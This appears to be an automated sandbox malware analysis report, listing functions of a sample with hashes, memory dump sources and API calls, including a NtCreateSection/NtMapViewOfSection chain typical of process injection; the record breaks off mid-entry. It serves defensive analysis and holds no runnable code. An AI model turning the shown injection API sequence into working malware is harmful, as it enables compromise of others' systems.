Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 000001FF710269A3

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 2281c8d1acfe59b1600e3eaaeea13a07426774ac218d4fd6d2e2e37010b99408
Instruction ID: 17e7d0b27246b08b976b6069a35882ae3a6ae969a02ad84b99e34f9481e0196d
Opcode Fuzzy Hash: 2281c8d1acfe59b1600e3eaaeea13a07426774ac218d4fd6d2e2e37010b99408
Instruction Fuzzy Hash: BEE01221714D1A0BAF7871AE248C6B7A5C7DBDC272714427FE81DC3399ED54CC864391

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71023C88 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

RtlAddFunctionTable.KERNEL32 ref: 000001FF71023CB5

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: FunctionTable
String ID:
API String ID: 1252446317-0
Opcode ID: 9b7d75a84148f5670434543918403749cff5ebc7ae0c8f65432214b84f97b8e4
Instruction ID: f2b9f97e49d91b6e06f3a4d3695cc90db5c468fc53fd15dbcd940b8f5f222624
Opcode Fuzzy Hash: 9b7d75a84148f5670434543918403749cff5ebc7ae0c8f65432214b84f97b8e4
Instruction Fuzzy Hash: 43E04F301009094BEBA8EB1DC8493A07AD1EB9C30AF60426CD405CA291CB79D4DFCF81

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71026950 Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000001FF71026972

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction ID: 412d4d6c0eeef8f1a1b57c7d8d08d0a173b2c292845eda7b8be7b0e17f6a46e9
Opcode Fuzzy Hash: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction Fuzzy Hash: E2D05E2032090E0BEA48632D18957B5A59AEBCC321F50123EA80AC2282D998CC5A4240

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F309E1 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

H, xrefs: 00007FF848F30A06

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 96356dad1b297a6ab9a06b429d1b6f69781b6014527c58e967b9c887058f5d76
Instruction ID: 0195db916a1d3fce8e38b25e9047b24719a4b05aff5c5fa110767ddf6049555d
Opcode Fuzzy Hash: 96356dad1b297a6ab9a06b429d1b6f69781b6014527c58e967b9c887058f5d76
Instruction Fuzzy Hash: 44114C3184E6C64FF75AB33884153A52B61AF83394F5401BBD8898A2D3CF1E6846C325

Uniqueness

Uniqueness Score: -1.00%

Function 000001FF71022298 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 000001FF710222C0

Memory Dump Source

Source File: 0000000E.00000002.2461655932.000001FF71021000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001FF71021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1ff71021000_AppLaunch.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 041af09e7524d08a8cd3a5eaf2dd428eaddc7b2dbb7c5f751690020b41cd4546
Instruction ID: 4b0492673ec11a8060685a4912beb5163ca883c8078208f3aaa888ea99f954f1
Opcode Fuzzy Hash: 041af09e7524d08a8cd3a5eaf2dd428eaddc7b2dbb7c5f751690020b41cd4546
Instruction Fuzzy Hash: F7E08670611D0A0BFB88EBEA949433177D5E76D306F10403D9815C12A0DB5588098710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F31459 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc9a0bce697fb91a2da2c4b8a2ad3ff108232a6842e4be7a0472f72cfaa77870
Instruction ID: 415de88e9abd67fab7c5f65d98775e222b6ed8c3707fe1a84353ea182c4d206f
Opcode Fuzzy Hash: bc9a0bce697fb91a2da2c4b8a2ad3ff108232a6842e4be7a0472f72cfaa77870
Instruction Fuzzy Hash: F7A13631A1CA494FE759EB2C98152B977D2EF99340F0402BEE44EC72D3DF28AC468795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F30790 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2026b735c04291a5fa84a9753e90d3ed1df51fde58b68f5ea7a76db53ab1dd
Instruction ID: d7412f8f0a75423e3824e4bed64b9a55ad06468d5b4489bd8b958ecdf807a4e4
Opcode Fuzzy Hash: 6f2026b735c04291a5fa84a9753e90d3ed1df51fde58b68f5ea7a76db53ab1dd
Instruction Fuzzy Hash: 72811631E1DA858FEB98BB2864182357BD1FFA4341F2845BBD48DD72E6DE28DC018395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F30D35 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a64da86dd4c50250402a4c0f1fa65cb1c7e5faab70ff68536cd09c1dd1acb0
Instruction ID: 739d32f4054912c40deac1d73f490139e1c239d2fc797f7cce147479bbd3e8d6
Opcode Fuzzy Hash: 95a64da86dd4c50250402a4c0f1fa65cb1c7e5faab70ff68536cd09c1dd1acb0
Instruction Fuzzy Hash: 27316E31A1C9998FE786F72C84147A9BBE1FF99340F0401A7D40DC72A2DF69AC468795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F31360 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b722077ad9d50c4851bf9bafd241301a0d3918d531debb34063f1f528703921
Instruction ID: 68a9934922893cdda6c8acf4a91fb9043b58f639b40954edd141f03cc5fbd8bf
Opcode Fuzzy Hash: 5b722077ad9d50c4851bf9bafd241301a0d3918d531debb34063f1f528703921
Instruction Fuzzy Hash: CB318231B0D94D8FE785EB2CD45466437E1EF9A391B5501E7D409CB2A6CE1AAC828711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F31274 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09049f9bf51c5be73d2a6dcbda0774d077e2cad87c954bc4819c1603fba32711
Instruction ID: 3602782fe25696256882c59e2f1ffe9f9d839136ae93fe9d4ba4a0aa0729fd54
Opcode Fuzzy Hash: 09049f9bf51c5be73d2a6dcbda0774d077e2cad87c954bc4819c1603fba32711
Instruction Fuzzy Hash: DA212131A0D98A0FF395F73C84152BA6AD1EF8A380F1444FAC449CB2DBDD19AC854311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F313B9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd35f0fb38315d25e2cbbfdc89044bd43f4a3f50c6167f70923fc5587d43cad4
Instruction ID: c1ef6a422dc0e40595ff6f41195cebf76ef8721b19b448c6c34e4507cfdff078
Opcode Fuzzy Hash: dd35f0fb38315d25e2cbbfdc89044bd43f4a3f50c6167f70923fc5587d43cad4
Instruction Fuzzy Hash: 3911E931A0DA8D8FE346E72C98246643BF0EF5B291B5901E7D449CF1E7CA196C928321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F31767 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91b17fc8ae97b5310657e26576e79a5435749c212d123624140fbbe2fd8360d
Instruction ID: f4a9b9e04a02832f061d74c88fde60c992f85bc25a064a6b0a2d5d68256a3f9a
Opcode Fuzzy Hash: e91b17fc8ae97b5310657e26576e79a5435749c212d123624140fbbe2fd8360d
Instruction Fuzzy Hash: 8811FE30B0C91C8FDB88F79CD4526FCB7E1EF59350F40002AE04ED3296CE65A8528745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F30CBD Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d8e20ad5e214c3e80fefe12d6e20f0acd739e611d75294db574af6d3e59f05
Instruction ID: 7313882cdb6644321f4a6c8b9fd2d2848a251c3758c3d71b8a1bc78409a97482
Opcode Fuzzy Hash: b5d8e20ad5e214c3e80fefe12d6e20f0acd739e611d75294db574af6d3e59f05
Instruction Fuzzy Hash: 0701B15591FAC66FD753B73818651666FA4DF87291B1805EBD0C8CB0D7D908180AC356

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF848F30478 Relevance: 7.5, Strings: 6, Instructions: 26COMMON

Download Yara Rule

Strings

XjH, xrefs: 00007FF848F30511
jH, xrefs: 00007FF848F304F1
xkH, xrefs: 00007FF848F30551
0kH, xrefs: 00007FF848F30501
jH, xrefs: 00007FF848F30531
0kH, xrefs: 00007FF848F30541

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID: 0kH$0kH$XjH$xkH$jH$jH
API String ID: 0-4168681548
Opcode ID: de9fa030899ad7848b3ae4c6fce88ac549e4cd1b2499eb36cb25f7ded120764a
Instruction ID: 234c8e5476ca8c9034d61cbbaf7fa56f5c7e1eaaca9a502a8e569c53abe61671
Opcode Fuzzy Hash: de9fa030899ad7848b3ae4c6fce88ac549e4cd1b2499eb36cb25f7ded120764a
Instruction Fuzzy Hash: 9FE0C922A0E2D49FD202A76CA4E14E53FB0DE4212870D01F3C1C48E0A3EA08904A8369

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F304B8 Relevance: 6.3, Strings: 5, Instructions: 69COMMON

Download Yara Rule

Strings

XjH, xrefs: 00007FF848F30511
jH, xrefs: 00007FF848F304F1
0kH, xrefs: 00007FF848F30501
jH, xrefs: 00007FF848F30531
0kH, xrefs: 00007FF848F30541

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID: 0kH$0kH$XjH$jH$jH
API String ID: 0-3682538033
Opcode ID: 7a12af41eed5726b95ca1dbfdb2e73abe5cd1b7d28fe7849a046451bcd687adb
Instruction ID: 30c79e5a7a6bf9a53b772cce9f7f5a5c2e561e3eb8827a1e50cbb171801c2ad8
Opcode Fuzzy Hash: 7a12af41eed5726b95ca1dbfdb2e73abe5cd1b7d28fe7849a046451bcd687adb
Instruction Fuzzy Hash: 2411B263E0F9C6CFE25667287C26039BF50FF82660B1843FBD0884B1EB9A5C8805434A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F304C0 Relevance: 5.1, Strings: 4, Instructions: 58COMMON

Download Yara Rule

Strings

XjH, xrefs: 00007FF848F30511
jH, xrefs: 00007FF848F304F1
0kH, xrefs: 00007FF848F30501
jH, xrefs: 00007FF848F30531

Memory Dump Source

Source File: 0000000E.00000002.2468933513.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff848f30000_AppLaunch.jbxd

Similarity

API ID:
String ID: 0kH$XjH$jH$jH
API String ID: 0-1937678477
Opcode ID: 530a8e245e2b70d4b371ebf233e0f8a8f38f85ad314839d4e2ddde8e8f6fcf8d
Instruction ID: 099c93832caf1c7527d7218941881a8d2491442a4fd15b534f76e49f75777742
Opcode Fuzzy Hash: 530a8e245e2b70d4b371ebf233e0f8a8f38f85ad314839d4e2ddde8e8f6fcf8d
Instruction Fuzzy Hash: 1E018463E0E9C68FE35667287C26139BF50FB82660B6843FBD084471EF99588D058346

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D4C0.vmt.exePID: 5752, Parent PID: 3748COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	1

Executed Functions

Function 00401668 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction ID: 8cb595480139d26c46b8ec7cc0b1953ca669d16196fac315a4b1bba12a726abb
Opcode Fuzzy Hash: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction Fuzzy Hash: 10615F71A00245FBEB208F91CC89FAB7BB8EF81700F14016AF912BA2E5D7759941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401673 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction ID: 8f8f6f685010ceb9f347f6944b71906c12c330ff756c9570f537c200b9fbed0e
Opcode Fuzzy Hash: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction Fuzzy Hash: 0D512AB1900245BFEB208F91CC89FEB7BB8EF85B00F14416AF911BA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040169C Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction ID: 77b0854bfe43c2aef023a2673bc99ccec947be12c3e09680a2140a748d19bd66
Opcode Fuzzy Hash: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction Fuzzy Hash: 045109B5900245BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016AA Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction ID: e5c4e8598d155431446e689f00fa6c699f5174c3f9309ca03551973270348d15
Opcode Fuzzy Hash: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction Fuzzy Hash: 055108B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016A1 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction ID: bff82585a94b653d791479d25ffa7738401545132b31b5a2d4ccc15da20913fe
Opcode Fuzzy Hash: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction Fuzzy Hash: 785118B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7719940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401A3F Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction ID: 0405cf3f50ed5d956599920bb74973a651d39c73aeea14585325784e5073188e
Opcode Fuzzy Hash: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction Fuzzy Hash: 6801A43130A204FBDB00AAE09D81D7B3629AB05750F304577BA13790F1C57D8A126F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4E Relevance: 1.3, APIs: 1, Instructions: 41
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction ID: 151e845f57ec598ea54a5a496c561fa99d2a1d19fd45ae50ddd01b3c9bf2891c
Opcode Fuzzy Hash: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction Fuzzy Hash: 89F0C876306244EBDB009EE08D51EAA3625AF01310F240577B912751E1C67DCA12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A6A Relevance: 1.3, APIs: 1, Instructions: 35
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 00000013.00000002.2538482938.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2538332804.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538576944.0000000000404000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2538649549.0000000000405000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
